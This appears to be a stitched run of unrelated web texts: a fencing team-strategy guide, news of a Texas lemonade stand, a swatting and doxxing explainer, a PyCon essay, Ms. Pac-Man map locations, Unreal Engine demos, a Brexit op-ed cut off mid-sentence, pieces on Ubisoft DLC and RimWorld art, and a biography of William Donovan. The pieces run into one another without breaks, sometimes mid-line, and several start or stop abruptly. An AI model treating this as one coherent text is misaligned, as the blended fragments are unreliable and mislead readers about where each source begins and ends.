Let us now assume you find a “swing bout advantage”, now you need to prepare for it. Scouting one, or two bouts prior and keeping the score lower can allow your athlete with the swing bout advantage to have more room for error and additionally, high maximum return. Let’s assume you think your fencer will outscore the opponent 2 to 1 in the advantage swing bout! Pretty good right! If the score is 10-10 going to 15 in the next round we estimate that he will win and the score will now be 15-12, a +3 difference. Not bad, but now let's look at the same bout but the round prior you managed to get Non Combativity and no touches were scored. Now the score is 5-5 and the ceiling of the Advantage Swing Bout is still 15. As you might have guessed the score would be now 9-15 and a +6 improvement for our team! The Set Up bout was a match of two fencers of close to equal skill. If they decided to fence it they were likely to score about the same. Even if you outscored them in that Set Up bout by one and the score was 9-10 going into your Advantage Swing Bout your teammate with the advantage could only score 5 and as such is still likely to only go +3. Even though the Setup was a +1 it got you close to the max for both teams and gave less room to move for your Advantage Swing bout so instead of being +6 you were only +4 and that is assuming on the close bout going in your favor and not against.
Disadvantage Swing Bouts
Now as we saw at the end of the Advantage Swing Bout example, even losing a bout can be a team victory if it prevents the opposing team from doing even more damage in their impending Advantage Swing bout to come. Realizing your team is one match away from a Disadvantage Swing Bout makes it important that in the case of a close bout that you do try to fence and move the score up so the stronger fencer does not have room to improve. This is what i call a damage control bout. You might even lose this bout, but when faced with massive Disadvantage Swing Bout the last thing you want is a low score when your new/weaker fence
r goes up against the opposing team's closer/strongest fencer.
Know Your Role/Honest Communication
Preparing for Swing Bouts is important to team success whether it is damage control or maximizing touches earned. Now a few basic roles to assign from bout to bout depending on score, pending swing bouts, and general skill match up. Again honest communication on each bout well in advance before the matches will best prepare your team for success. As the team bout develops you will need to continue to share, update, and adapt to the situation but having a good outline will go along way towards preparing for victory. Know Your Role and Honest Communication is a must!
Role playing in the team bout can be critical. Before i describe the 4 main role types it is important to recognize that my coaching and athlete background is in epee. Team bouts in epee trend more in the slower more tactical direction and one of the key elements that make some roles even possible is the Non Combativity time rule. These roles are still possible but less so in Foil and nearly impossible in Saber do to the fact the most every round ends with one team reaching the score maximum so ending a bout shy of the round maximum rarely happens. Team bouts in epee very regularly do not reach the score maximum and defensive stand offs are common place and as such coming into each match with a game plan is very important to set your team up for future rounds.
As a team the first thing each fencer should do is look at each of their personal match-ups and share their honest feeling on how that bout will go. Clearly if you have never fenced it would just be a sense of style match ups but at some point you have fenced everyone on every team or at least have watched them all so have a sense for their skill set and level compared to your own. This is not a time to be over confident telling your teammates you can crush them all. The goal of the first review before the start of the team match is to identify where your team has an advantage of skill or style and where your team is at a disadvantage. If no information is known about a team than the first rotation of bouts should be for active information gathering on top of fencing smart and doing your best. In these bouts I always encourage my athletes to probe with many preparations so myself as the coach and the teammates on the bench watching can get a sense for defensive preferences and panic responses. Those first three bouts are fencing study hall and so they are encouraged to take their time and try many safe preparations to gather Intel for the team so they can more of an idea what they will be up against when each of them have to fence those athletes.
Your goal in team is not simple to win each match (thought that is lovely if it works out that way). At some point you will fence a team that is better than you or perhaps a team with one fencer clearly stronger than all your individuals. These bouts we will be at a disadvantage and your team will want to minimize damage that can be done. Remembering that the super star closer of the other team can only fence 3 of the 9 bouts we have to look at the remaining 6 bouts for when and where to make up our points. You must find the bouts in the team order that clearly favor one team over the other. Identifying where the “swing bouts” in the team match are and looking at the bouts previous to the “swing bout” will help you in deciding on proper roles to maximize or minimize the “swing bout” match ups in the line up.
Shooter - Athlete looking to put on pressure and score points for team generally with offensive actions. Most commonly the approach of the strongest fencer (any given bout) or in Advantage Swing Bouts.
Stopper - Athlete looking to shut down bout. Goal is to slow down opponent from scoring, highly defensive, early parries and ready to defend. Can end up scoring many touches when going against a shooter if properly prepared. Side objective is to keep score very low. Commonly used against shooters or prior to bout in which your team has an advantage swing bout next or soon in the line up.
Sniper - Athlete looking to apply very cautious pressure to set up and score possibly only one attack. Great for making comebacks when down early in team bouts. commonly will have a goal of +1,+2 for a bout and then will shift roles to the stopper. Checking in with the team coach/captain/bench is advised on when/if the sniper should keep going or change to the stopper role.
Fencer - Athlete goal is to more or less “fence” the opponent. There is no set attack or defend attitude preset. Often used in the first three bouts when fencing a team or athletes you are not familiar with to learn as you go. Fencer role, like sniper, should check in with team depending on how they are doing and might shift to any of the other roles as needed depending on the results. Fencer role should feel free to act when an opportunity presents itself and is great in relieving pressure on an athlete prior to Disadvantage Swing Bouts as they know that even double is better than no touches at all when faced with the Disadvantage Swing Bout next in the line up. They are encourage to probe opponents for weaknesses and take advantage if they can and move the score up with less concern for winning as getting both teams closer to the max for that round as damage control for the upcoming Disadvantage Swing Bout.
Attitude is Infectious
One thing i can tell you about team bouts is that the Attitude of the athletes spreads to quickly and easily in both positive and negative directions. You can win a team match segment and come back to the bench angry and unsatisfied and that can take the team down a notch on confidence and excitement. You can lose a team bout but come back bouncing and excited by how hard you fought and that can inspire and fire up your team. Fencing is primarily an individual sport so we focus on ourselves. Team is solo and yet collective as we all add to the journey towards that collective final score.
Watch any team sport and you will always find examples of the teams keeping each other encouraged, supported and pumped up. Watch a basketball game and notice how every time a player gets fouled and shoots a free throw shot that the 4 other players on the court give him a high-five after the first shot no matter if he made or missed the shot. Watch a volleyball game and after EVERY single point score for or against they come together in a quick huddle to support each other and keep the team together and positive. It is hard to watch the behavior of great teams to get any indication of who scored as the attitude is almost always positive, supportive, and focused on the next point, next play, next touche.
I have had great individual fencers on teams as both an athlete and coach. My least favorite athletes to have on team, no matter their skill level, are the ones that seem to have rain cloud over their head. You could see from bout to bout, match to match, this rain cloud spread to the other athletes. I have also had athletes who could bring out the sun for anyone by yelling in their bouts, chest bumping and energizing high fives was able to wake up their teammates and get more out of them for their bouts just by this team energy and attitude. Great individuals do not always make great team fencers. They certainly can but often great fencers do not know their role or over state their role and they bring with them a personal attitude that can pull down others and often it is accidental in nature. Be aware of the energy of the bench, sometimes one of the most important athletes is the 4th fencer who never fences a single match but keeps everyone talking, cheers the loudest, and gets everyone ramped up so they perform at their best. The 4th is often an important part of the attitude of a great team!
Check your Ego at the Bench
Ego is probably the number one reason strong teams fall in early rounds. Having a preconceived notion of being better than someone or some team can cause you to fence them with less focus and attention to detail.
Athletes in team often hate to have any match they fence have a negative score on their personal bouts. While that is understandable this often leads to rushing to recover a lost touche in a bout. That rushed touch leads to another point against and now you are down even further. This can spiral quickly out of control and what was a nice touche scored by the opponent early in the bout turned into an angry rushed hunt to get touches back and instead of perhaps losing a single point your team loses 3-5 before they reach the max or your team yells at you loud enough snap you back to reality and get past your ego.
Ego can also hurt you when you start a bout with the stopper mind set if you do not stick to your plan. Let’s assume your goal was to shut down your opponent and be defensive, keep the score low. You start with the stopper mind set and it works perfectly. You score three touches in the first minute as their shooter rushes into your great defensive resistance. The opponent realizes attacking you in this mode is a bad plan and backs off but your ego tells you that you are clearly on fire! Since you just scored three points you might as well go and push to score two more to finish the bout. You failed to realize that you had a specific goal and style that was how you scored those three points. Next thing you know you have been hit five times while attempting to attack and get those last two points. Instead of staying in your stopper role and possibly sitting on your +3 win for your team your ego pushes you into attacking and you end the bout -2 instead. Ego is probably one of the top killers of talented teams and lack of ego is a cornerstone to success in underdog upsets and general team bout management!
Conclusion/Final Thoughts
Team Relay has many moving pieces and is not simply a series of 5 touche bouts. While many teams approach it this way for those that don’t and take a more thoughtful and tactical view of the strategy will often overcome teams of stronger individuals because they do not know how to best utilize their individual strengths or how to maximize/minimize matches on the road to the collective Victory!
The US Men’s Epee Team was just such a group when we took the Silver Medal at the 2010 Senior World in Paris only narrowly losing to France in the gold medal round and in 2012 when we came from behind to defeat France for the first ever Men’s Senior Worlds Championship Gold in US Fencing history. These are the basics of what as a team we developed and practiced over twelve years. As individuals we might have been ranked between 6th and 10th overall. But as a team we ended the 2012 season ranked #1, winning the world cup overall team title in addition to the world championships gold medal.
So remember,
One Voice
Find the Swing Bouts
Know Your Role/Honest Communication
Attitude is Contagious, Infect with that in mind
There is no place for ego in team
Now go out there and create some drama in Fencing Team Relay!
-Cody MatternAndria and Zoey Green wanted to raise $105 to buy their dad a present, according to KLTV.
“We were trying to raise some money to take our dad to Splash Kingdom,” 8-year-old Andria told KTLV. Splash Kingdom is a water park in Canton, Texas.
The sisters were selling lemonade and kettle corn for about an hour when police showed up because they set up their stand near the curb on a residential street. A code enforcement officer told the girls’ mother they would need a permit to sell lemonade.
The city agreed to waive the $150 fee for a “Peddler’s Permit,” but according to Texas House Bill 970, the “sale of food which requires time or temperature control to prevent spoilage” is prohibited. Because lemonade must be refrigerated to prevent the growth of bacteria, an inspection and permit is required.
The sisters said they will again set up their stand on Saturday, but this time they will be accepting donations.Three of the issues she regularly addresses — swatting, doxxing, and sextortion — are ones that still haven't become part of our common vernacular. For the uninitiated, doxxing is when someone posts private information about someone online as a form of revenge. S extortion is a form of sexual blackmail, in which someone threatens to post sexually explicit photos of another persona online if sexual favors aren't performed. Swatting is a cybercrime that involves prank calling the police and reporting a false emergency with the intent of bringing armed officers to someone's home. In 2016, Clark looked outside her window to see a large police force, long guns out, on her lawn. Before realizing that she, too, had been targeted in a swatting attack, "there was just this moment of real terror about what was happening," she says. "Was there a threat to my family that I was unaware of?"Socially, I can be pretty dense. This made it possible for me to arrive at a startling revelation at PyCon this year, one that significantly changed my perception of the Python community, and my view of my place in it.I've always loved going to PyCon and working with people in the community. But it wasn't until I heard David Goodger's opening remarks on Friday that it finally dawned on me how important Python is to many of its members as a community and circle of friends. Or for that matter, how important it is to me as well.Here's the back story: In the early days of PyCon, in 2004, I heard that David couldn't come to the conference for lack of funds. He'ld been laid off. I sent an email to the docutils mailing list and within hours had enough pledges to pay for his travel and accommodations. One anonymous donor gave over $200.That was more or less the last I thought of it until I heard David speak about it this year. What he said was that he was not just out of work but also depressed and this show of support from the community ended up meaning a lot to him. It was clear from talking about this with others afterwards that he's not alone in his perception of the community as very personal indeed.Even if you're not the type to get teary eyed by such stories of unselfish giving from members of our far-flung community (and I admit I do), you can't argue with the sheer brilliance of this approach. As an investment in our collective future, this gesture turned out to pay off handsomely. As many of you may know, David has served as Director in the Python Software Foundation, where he has done a fantastic job as Secretary, and he has worked intensively this year as the PyCon Chairman.So now I've figured it out, and I am all the more confident of the health and vigor of Python. The motivations run much deeper than I thought, as do the rewards.This is also why I'm not much concerned about some of the criticisms of this year's PyCon. These things will be fixed next year, and we'll move on.Every community has its problems. It's just a question of how (and whether) the community comes together to solve them. Like the small rural town where I live, one that strongly resists 21st century corporate intrusions into our 19th century village, I have a feeling that the Python community is not going to be building a Walmart any time soon.I hope this is useful to those that share my social denseness, or that it may inspire others to practice spontaneous kindness as a way to build community.By now, you've probably noticed that Google rolled out a pretty comical April Fools' Day feature this year: plopping Ms. Pac-Man right in the middle of the street of the Google Maps mobile app. We used the opportunity to look at some of the weirder places in the world to play the game.
Baarle-Hertog, Belgium and Baarle-Nassau, Netherlands
From Clark Boyd, senior producer, PRI’s The World:
There are 20-some separate parcels of land, the result of medieval treaties, which means some houses straddle the border and the country of residence is determined by the location of the front door. If you play Ms. Pac-Man here, you’re able to cross the border several times during one game.
View this place on Google maps
You can only explore a small portion of a city in the Ms. Pac-Man feature in the Google Maps, but there are so many unusual borders in Baarle-Hertog that you can still cross into both countries several times while chasing ghosts. Credit: Google Maps
Mwenge, Dar es Salaam, Tanzania
From Brandon Hundt, UX architect, PRI:
I introduce to you Mwenge, the (mostly) unavoidable intersection of major roads in the northern part of Dar es Salaam, Tanzania. When I look at the map today, it doesn't look all that crazy, but when I lived in Tanzania from 2007 to 2008, this intersection was under construction, meaning the pavement gave way to dirt and five to six to eight lanes, err lines, of evolving traffic. I quickly learned the quickest way through was to just stay close to the bumper of the car ahead of you and hope that they were aggressive enough to clear the path for you. Also at the corner was the market where seemingly every wood handicraft sold in the country was made, leading to extra pedestrian traffic.
View this place on Google maps
At first this Tanzanian intersection looks simple, but many lanes mixing with pedestrians cause traffic and that can take up an hour to get through. Credit: Google Maps
Savoy Court, London
From Jonathan Dyer, managing editor, PRI’s The World:
Savoy Court leading into London's Savoy Hotel is one of few places where cars drive on the right in England. The change is a holdover from when carriage drivers would reach back and open doors directly behind them and a passenger would be able to enter the hotel immediately.
View this place on Google maps
The street where Savoy Court meets the Strand is one of a only a few places in London where cars drive on the right instead of the left. Ms. Pac-Man has no such restrictions, however. Credit: Google Maps
Black Rock City, Nevada
From Alex Newman, senior data journalist, PRI:
Even though it only exists for a few weeks a year, Burning Man’s Black Rock City is a permanent feature on Google Maps. The city grid is the same every year, but the street names change to reflect the festival’s current theme.
View this place on Google maps
At left, a slightly zoomed out view of Burning Man's Black Rock City street grid, which exists only for a few weeks around the annual art festival in the Black Rock Desert in Nevada. At right, a zoomed-in version of Ms. Pac-Man on BRC's streets. Credit: Google Maps
Do you know other interesting intersections? Let us know in the comments below.There is no denying that the Unreal Engine 4 is absolutely amazing. For those who don’t know, UE4 is a suite of tools designed to allow developers to great amazing graphical footage in games and different visualization scenarios. The tools UE4 offers are truly amazing and most recently, they’ve added an Infinity Blade Collection for FREE!! Click here to check it out in more detail.
There are so many demo videos showcasing what UE4 is capable of and it’s all quite amazing.Today, I want to show off some of the old gaming character demos done in UE4! These are not mine, I just simply wanted to collect them all in one place, credit goes to CryZENx, make sure to check out the links before for more! There are also some amazing architecture demos from UE4 Architecture that you can see by checking the links below.
Links:
Unreal Engine 4
CryZENx YouTube Channel
Collection of Unreal Engine 4 Architecture Demos on Plexus Hub
UE4 Architecture YouTube ChannelOne reason why the arguments for Brexit are so beguiling is because it’s easy to imagine an alternative world where some of the current laws of economics or politics don’t apply.
Leave campaigners have tried to conjure up such a fantasy world in which, after leaving the EU, Britain has an opportunity to design its own economic environment with its ideal configuration of free trade, limited labour mobility, less regulation and foreign investment. They talk of a sovereign nation that will dominate post-Brexit negotiations with our former EU partners and the rest of the world. With the odd unicorn and fairy thrown in for good measure.
The reality is a bit different. We have to distinguish carefully between sovereignty and power, and we also need to be clear about the options the UK has in terms of trade relationships.
More worryingly, non-tariff barriers might actually increase following Brexit
Calculating the impact of an EU exit is complex. All the possible alternative trade regimes that might apply to the UK have to be modelled, including the extent of labour mobility and migration; foreign direct investment our contribution to the EU budget; regulation and productivity growth. All these variables are inter-related and cannot be chosen independently as the Brexit campaigners would wish to argue.
The Treasury has produced one of the most comprehensive attempts to model these inter-relationships and analyse the long-term implications that take account of the impact of trade on foreign direct investment and productivity. The message is stark: UK GDP would be between -3.8% and -7.5% lower depending on whether the UK strikes a Norway-type trade agreement or a bilateral (Canada, Turkey, Switzerland) agreement, or if we simply adopt World Trade Organisation rules. These economic effects are so large that they trump any concerns expressed by those who worry about the eurozone’s growth prospects. On top of these medium and long-term effects, the Treasury has calculated that there will be an adverse short-run macroeconomic impact. This is driven by uncertainty causing consumer and business expenditure to fall, and financial market volatility increasing the risk (and cost) of borrowing to UK businesses and households
Those advocating Brexit criticise these figures, but their own estimates rely on scenarios which are less comprehensive and overestimate the gains from regulatory reform, reduced contributions to the EU budget, or the reduction in trade diversion from leaving the EU trade block. They focus on the gains from reduced protectionism and more open trade. They also play up the UK’s net contribution to the EU, which in recent years has been about £9bn. These Brexit net-gain scenarios are ultimately unpersuasive because they identify the benefits of leaving but not the additional costs.
The improving trade balance argument is that our agricultural and manufacturing imports would be cheaper outside the EU. But this ignores the reality that if the UK reduced higher tariffs in dairy or meat imports it would hit our farming communities. Redirecting our exports to other parts of the world is also problematic. In 2014, 45% of our total exports went to the EU. More significantly, 63% of our goods exports are linked to our EU membership. We know that in trade, geography matters: regardless of trade agreements, countries are more likely to trade with those closest to them. Our total trade costs with the EU fell by 15% in the 15 years from 1995 to 2010. By contrast, the costs of trading with the rest of the OECD and the emerging economies have hardly changed.
More worryingly, non-tariff barriers might actually increase following a vote to leave the EU. These may apply to trade in goods but also to services, where the UK is a net exporter. There is already talk of UK-based financial services institutions having to move to Frankfurt, Amsterdam or Luxembourg. Other service companies may move, worried about potential “home bias” within the EU following Brexit.
Bank's warning of a Brexit double whammy is very handy for Osborne Read more
Brexit advocates tell us we would be able to negotiate a strong trade deal with the EU. The Germans want to sell us their cars and the French their wine and cheese.
Yet life in reality looks less rosy than these cliches suggest. UK exports to the EU are 12% of our GDP. Germany and France’s exports to the UK are 3% and 2% of their GDP. Not all the EU countries run trade surpluses with |
gave lectures at the American School for the Deaf where ASL was ‘born’ by Thomas Gallaudet and Laurent Clerc. Bell married a Deaf woman in 1877 and he was also very successful in the creation of his company, Volta Laboratory, where he received patents for the telephone and photophone allowing sound to travel on a beam of light. He used the proceeds “for the increase and diffusion of knowledge relating to the deaf.”
I chose to research the Alexander Graham Bell Association for the Deaf and Hard of Hearing because I wanted to learn more about the controversy surrounding Bell in the Deaf-World. What I discovered is a respect for Mr. Bell and his accomplishments. I also believe he was a man who had a great heart to help the Deaf-World though went about it in a misguided way. As for the AG Bell Association, their mission is clear – they want give Deaf people, particularly children, the opportunity to hear and speak. If one does not want to pursue that path, AG Bell will refer them elsewhere. However, there are enough allegations in both the man and the association’s past that point to morally questionable motives such as audism and eugenics.
SourcesFollowing the success of Rainbow Six: Siege's approach to DLC—where maps come packaged in free updates, but characters and customisations are charged as surplus—Ubisoft has announced it'll no longer sell expansions required to enjoy the core experience of its games.
Suggesting monetisation is something it has to be "very careful about", Ubisoft's vice president of live operations Anne Blondel-Jouin told Gamesindustry.biz the publisher plans to support games for five to ten years moving forward, and that the key to introducing DLC is "if it's not adding something on-top of the actual experience of the game, then it is no good."
She adds: "Because you'll be asking for more money for the wrong reasons. Also, if the content is compulsory for the gamers, it's no good as well. It is a way to deliver more fun to gamers, but they have a choice to go for that extra fun or not. If I take an analogy of an amusement park, you can go through all the rides, but then you can also go to the shop to buy some food or merchandise or whatever... regardless of whether you spend in the shop, you're still part of the whole experience."
"Nobody is making you buy if you don't want to, but it is another way to have a different entertainment experience. If you're with your kids, and there's a toy you want to get, we will make sure it is an extra experience. It won't be the case if you don't buy it then you can't do anything else. It wouldn't work if it was about making it compulsory for gamers.
"No more DLC that you have to buy if you want to have the full experience. You have the game, and if you want to expand it—depending on how you want to experience the game—you're free to buy it, or not."
Blondel-Jouin continues, suggesting this approach lets players who choose to customise their in-game characters and/or equipment do so without giving them an advantage over those who don't. Blondel-Jouin describes this process as "an extra piece of revenue… which comes from gamers being happy." If gamers were not happy, she says, Ubisoft would not ask for that extra money.
"It does have the same commercial impact [as charging DLC]," she adds. "It is also more fair for both Ubisoft and the gamers, as it is an extra proposal for them and they even take it or not. This new way of doing things, is because it is Ubisoft's responsibility to deliver gamers with the best quality possible. If you do a nasty toy, it will stay in the store no matter what the brand is. It is putting our creative teams back to work to deliver the best stuff for gamers, and it's a win-win situation."
Gameindustry.biz's conversation with Blondel-Jouin can be read in full this way.I’m happy to announce that we’ve got eminent pixel and game artist Rhopunzel working on the in-game art for RimWorld!
Rho has worked on several awesome indie games. The most recent was Starbound, with pieces like this scary skeltal dragon or this crunchy mech. Before that, Rho did pretty much everything for Gnomoria.
Some people have asked how much the final art will change. Up until now, I’ve done all the art in a simple, iconic style. Rho will be working in a similar style (though at a much higher level of ability). We’re sticking with the vector look because it satisfies RimWorld’s design constraints very well. The goal with this art isn’t just to look good – it must satisfy a specific set of design goals as well.
First, it has to convey a lot of complex gameplay information in a really intuitive way, even when compressed to a tiny space on-screen. For example, looking at a character will tell you:
Their identity (who, exactly, is it?)
Their team (raider, colonist, trader, etc)
Their general category they fall into (fighter, worker, researcher, farmer, etc)
Their facing
Their apparel (possibly several layers)
What they’re doing
Maybe, in the future, their current equipment or weapon
Packing that all into a space as small as 32×32 pixels and making it look good is tough!
Second, it has to balance abstraction with specificity. If it’s too abstract, people can’t intuitively understand what’s going on. If it’s too specific, it fills in too many gaps so players have no room to subconsciously interpret what’s happening. We need to leave room for players to interpret, because player intepretation is the real engine of game-driven story generation.
Third, it has to be lightweight in content, so it runs and loads quickly, can be iterated quickly, can be modded easily, and can be expanded to a wide variety of objects and characters. We’d rather have 100 kinds of characters with 3 frames of animation each than 3 characters with a hundred frames each. Because what matters is the final experience of the game, which in the case of RimWorld is best served by variety, not detail.
I’m happy to say Rho has been rising to the challenge. We’ve already been passing pieces back and forth and watching the style develop. Here are a couple shots of random colonists in various mixed outfits. Yes, one of them may be naked.For other people with the name, see William Donovan
William Joseph Donovan (January 1, 1883 – February 8, 1959) was an American soldier, lawyer, intelligence officer and diplomat, best known for serving as the head of the Office of Strategic Services (OSS), the precursor to the Central Intelligence Agency, during World War II. He is regarded as the founding father of the CIA, and a statue of him stands in the lobby of the CIA headquarters building in Langley, Virginia.
A decorated veteran of World War I, Donovan is the only person to have received all four of the United States' highest awards: The Medal of Honor, the Distinguished Service Cross, the Distinguished Service Medal, and the National Security Medal.[1] He is also a recipient of the Silver Star and Purple Heart, as well as decorations from a number of other nations for his service during both World Wars.
Early life [ edit ]
Of Irish descent, Donovan was born in Buffalo, New York, to Anna Letitia "Tish" Donovan (née Lennon) and Timothy P. Donovan, both American-born children of Irish immigrants. The Lennons were from Ulster, the Donovans from County Cork. Donovan's grandfather Timothy O'Donovan (Sr.) was from the town of Skibbereen; raised by an uncle who was a parish priest, he married Donovan's grandmother Mary Mahoney, who belonged to a propertied family of substantial means that disapproved of him. They first moved to Canada and then to Buffalo, New York, where they dropped the "O" from their name. Donovan's father, born in 1858, worked as the superintendent of a Buffalo railroad yard, then as secretary for Holy Cross Cemetery, and also would attempt to engage in a political career, but with little success.[2]
Donovan was born on New Year's Day in 1883. (Named William, he chose his middle name, Joseph, at the time of his confirmation.) He had two younger brothers and two younger sisters who survived into adulthood and several additional younger siblings who died in infancy or childhood. "From Anna's side of the family came style and etiquette and the dreams of poets," Donovan's biographer, Douglas Waller, has written. "From Tim came toughness and duty and honor to country and clan."[3] Donovan attended St. Joseph's Collegiate Institute, a Catholic institution at which he played football, acted in plays, and won an award for oratory. He went on to Niagara University, a Catholic university and seminary where he undertook a pre-law major. Considering the priesthood, he ultimately decided "he wasn't good enough to be a priest," although he did win another oratorical contest, this time with a speech warning of corrupt, anti-Christian forces that threatened the United States.[4]
With the expectation of studying law, Donovan eventually transferred to Columbia University, where he looked beyond "Catholic dogma" and attended Protestant and Jewish worship services to decide whether he wanted to change religions.[5] He joined the Phi Kappa Psi fraternity, rowed on varsity crew, again won a prize for oratory, was a campus football hero, and was voted the "most modest" and one of the "handsomest" members of the graduating class of 1905.
After earning his bachelor of arts, Donovan spent two years at Columbia Law School, where he was a classmate of Franklin D. Roosevelt, and studied under Harlan Fiske Stone. Returning to Buffalo, he joined the respected law firm of Love & Keating in 1909 and, two years later, opened his own Buffalo firm in partnership with a Columbia classmate, Bradley Goodyear. In 1914, their firm merged with another, becoming Goodyear & O'Brien.[6] In 1912, Donovan helped form, and became the leader of, a troop of cavalry of the New York National Guard.[7] This unit was mobilized in 1916 and served on the U.S.–Mexico border during the American government's campaign against Pancho Villa.[7] He studied military strategy and combat tactics.[8] He also took acting courses in New York City from a stage star of the day, Eleanor Robson.[9] In 1914, he married Ruth Rumsey, a Buffalo heiress who had attended Rosemary Hall.[10]
In 1916, Donovan spent several months in Berlin on behalf of the Rockefeller Foundation, seeking to persuade the governments of Britain and Germany to allow the shipment of food and clothing into Belgium, Serbia, and Poland. In July of that year, at the behest of the State Department, he returned to the U.S. and took his cavalry troop to the Texas border to join General John Pershing's army in the hunt for Pancho Villa.[11] Promoted to major in the field, he returned to Buffalo, then joined the 69th Regiment, also known as the "Fighting Irish Regiment". This was the same 69th of Civil War fame,[12] later called the 165th, which was training for America's expected entry into World War I, and which became part of the 42nd Division, also known as the "Rainbow Division".[13] Douglas MacArthur was the 42nd Division's chief of staff.[14] Donovan's son David was born in 1915, and a daughter, Patricia, was born in 1917. (Patricia died in an accident in 1940.)[15]
World War I [ edit ]
Donovan as a Lt. Colonel with the 165th Regiment in France in September 1918.
During World War I, Major Donovan led the 1st battalion, 165th Regiment of the 42nd Division. Serving in France, he suffered a shrapnel wound in one leg and was almost blinded by gas. After performing a rescue under fire, he was offered the Croix de Guerre, but turned it down because a Jewish soldier who had taken part in the rescue had not also been awarded the honor. When this insult was corrected, Donovan accepted the distinction.[16] He also was awarded the Distinguished Service Cross for leading an assault during the Aisne-Marne campaign, in which hundreds of members of his regiment died, including his acting adjutant, the poet Joyce Kilmer.[17] The events of this battle and the 69th Infantry Regiment's role in it were dramatised in the James Cagney movie, "The Fighting 69th".
Donovan's remarkable level of endurance, which far exceeded that of the much younger soldiers under his command, led those men to give him the nickname "Wild Bill", which stuck with him for the rest of his life. Although he "professed annoyance with the nickname," his wife "knew that deep down he loved it."[18]
Appointed chief of staff of the 165th Regiment,[19] Donovan fought in another battle that took place near Landres-et-Saint-Georges on October 14–15, 1918.[20] Going into battle, Donovan "ignored the officers' custom of covering or stripping off insignia of rank (targets for snipers) and instead sallied forth wearing his medals", according to Evan Thomas.[21] "They can't hit me and they won't hit you!" he told his men.[21] Struck in the knee by a bullet, he "refused to be evacuated and continued to direct his men until even American tanks were turning back under withering German fire."[21] After lobbying by his friend Father Francis Duffy, a famous and widely revered Army chaplain, Donovan was awarded an Oak Leaf Cluster of the Distinguished Service Cross (i.e., a second DSC) for his service in that battle. After the Armistice, Donovan remained in Europe as part of the occupation. On returning to New York in April 1919, Donovan, now a colonel, was widely discussed as a possible candidate for governor, but he rejected the idea, proclaiming his intention to return to Buffalo and resume the practice of law.[22][23]
Years between the wars [ edit ]
Donovan in 1924, during his time in the Department of Justice
Following his return to the U.S., Donovan took his wife on a combined vacation, business trip, and intelligence mission to Japan, China, and Korea, then went on alone to Siberia.[24] He went back to work at his law firm, but also took an extensive journey to Europe, where he did business on behalf of J. P. Morgan and gathered intelligence about international Communism.[25]
From 1922 to 1924, while maintaining his private law practice, he also served as US Attorney for the Western District of New York. A high point came in 1923, when, as a result of continued pressure from Father Duffy, Donovan was finally awarded the Medal of Honor for his heroic acts in the battle at Landres-et-Saint-Georges. Presented with the medal at a New York City ceremony that was attended by about four thousand veterans, Donovan refused to keep it, saying that it belonged not to him but "to the boys who are not here, the boys who are resting under the white crosses in France or in the cemeteries of New York, also to the boys who were lucky enough to come through."[26][7]
Meanwhile, as US Attorney, he was becoming well known as a vigorous crime-fighter.[27] He was especially famous (and, in some circles, notorious) for his energetic enforcement of Prohibition.[27] There were a number of threats to assassinate him and to dynamite his home, but he was not deterred. The climax of his war on alcohol came in August 1923, when his agents raided Buffalo's upmarket Saturn Club (of which Donovan himself was a member) and confiscated large amounts of illegal liquor. The club's members, who formed much of the city's upper crust, were outraged, having assumed that Prohibition did not apply to people such as themselves. Some regarded Donovan as a traitor to their class, and recalled that Donovan had not, after all, been born to high station but was, in fact, an Irish Catholic who had married into the world of privileged, professional Protestants. Donovan's law partner, Bradley Goodyear, quit their firm in anger over the raid, and Donovan's own wife never forgave him for it. Many working class residents of Buffalo cheered the raid as an example of equal justice before the law, however.[28]
In 1924, when President Calvin Coolidge cleaned house at the Department of Justice in the wake of the late President Warren G. Harding's Teapot Dome scandal, he appointed Donovan's former professor Harlan Stone as Attorney General and named Donovan as Stone's assistant, in charge of the criminal division. Donovan and his wife split their time between Washington and Buffalo, where he continued to run his law firm.[29] At the Justice Department, Donovan hired women and eschewed yes-men. He and his wife became a popular Washington couple, although Donovan's relationship with the acting Director of the Bureau of Investigation, J. Edgar Hoover, briefly one of his underlings, was fraught with friction.[30]
When Stone was appointed to the Supreme Court in 1925, Donovan was put in charge of the Department of Justice's antitrust division, often serving as de facto Attorney General during the frequent absences of Stone's successor, John Garibaldi Sargent. Donovan was admired for his energetic and effective arguments before the Supreme Court, and was a favorite off-the-record source for the Washington press corps. He was talked up as a possible candidate for Governor of New York in 1926 and for the Vice Presidency in 1928; Herbert Hoover promised to make him Attorney General if Hoover won the Presidency in 1928, but instead, under the influence of anti-Catholic Southerners, among others, Hoover ended up offering him the governorship of the Philippines, a post Donovan turned down.[31]
Resigning from the Department of Justice in 1929, Donovan moved to New York City and formed a new law firm in partnership with Frank Raichle. Despite the stock market crash, he made a success of handling the mergers, acquisitions, and bankruptcies that resulted, and also acquired such clients as the movie stars Mae West and Jane Wyman.[32]
Donovan ran on the Republican line in 1932 to succeed Franklin D. Roosevelt as Governor of New York.[33] Assisting Donovan in his 1932 campaign was journalist James J. Montague, who served as "personal adviser and campaign critic".[34] But despite Donovan's offstage charm and force, he proved to be an uninspiring campaigner on the stump. He ran a disorganized, strategy-free campaign, and in the end lost to the Democratic nominee, Herbert Lehman.[35]
World War II [ edit ]
During the interwar years, as "part of an informal network of American businessmen and lawyers who closely tracked and collected intelligence on foreign affairs," Donovan traveled extensively in Europe and Asia, "establishing himself as a player in international affairs – and honing his skills as an intelligence gatherer overseas." He met with such foreign leaders as Benito Mussolini,[36] with whom he discussed World War I, the expansionist ideology of Italian Fascism, and Roosevelt's prospects for re-election in 1936. Mussolini granted Donovan permission to visit the Italian front in Ethiopia, where he found Italy's military much improved since the war and predicted an Italian victory. Donovan also made connections with leading figures in Nazi Germany. But he was no friend of the dictators, publicly assailing Hitler, Mussolini, and Stalin as totalitarians and taking steps to protect his Jewish clients in Europe from the Nazis.[37]
Donovan openly believed during this time that a second major European war was inevitable. His foreign experience and realism earned him the friendship of President Franklin D. Roosevelt, notwithstanding their extreme differences in domestic policy and despite the fact that Donovan, during the 1932 election campaign, had harshly criticized Roosevelt's record as Governor of New York. The two men were from opposing political parties, but were similar in personality.[38] Roosevelt respected Donovan's experience, felt that Hoover had done Donovan wrong on the Attorney General appointment, and believed that if Donovan had been a Democrat he could have been elected President. Also, Donovan's national profile had risen considerably thanks to the 1940 Warner Brothers film The Fighting 69th, in which Pat O'Brien played Father Duffy and George Brent played Donovan, and Roosevelt recognized a useful opportunity to exploit Donovan's newfound popularity. As the two men began exchanging notes about developments abroad, Roosevelt recognized that Donovan could be an important ally and adviser.[39]
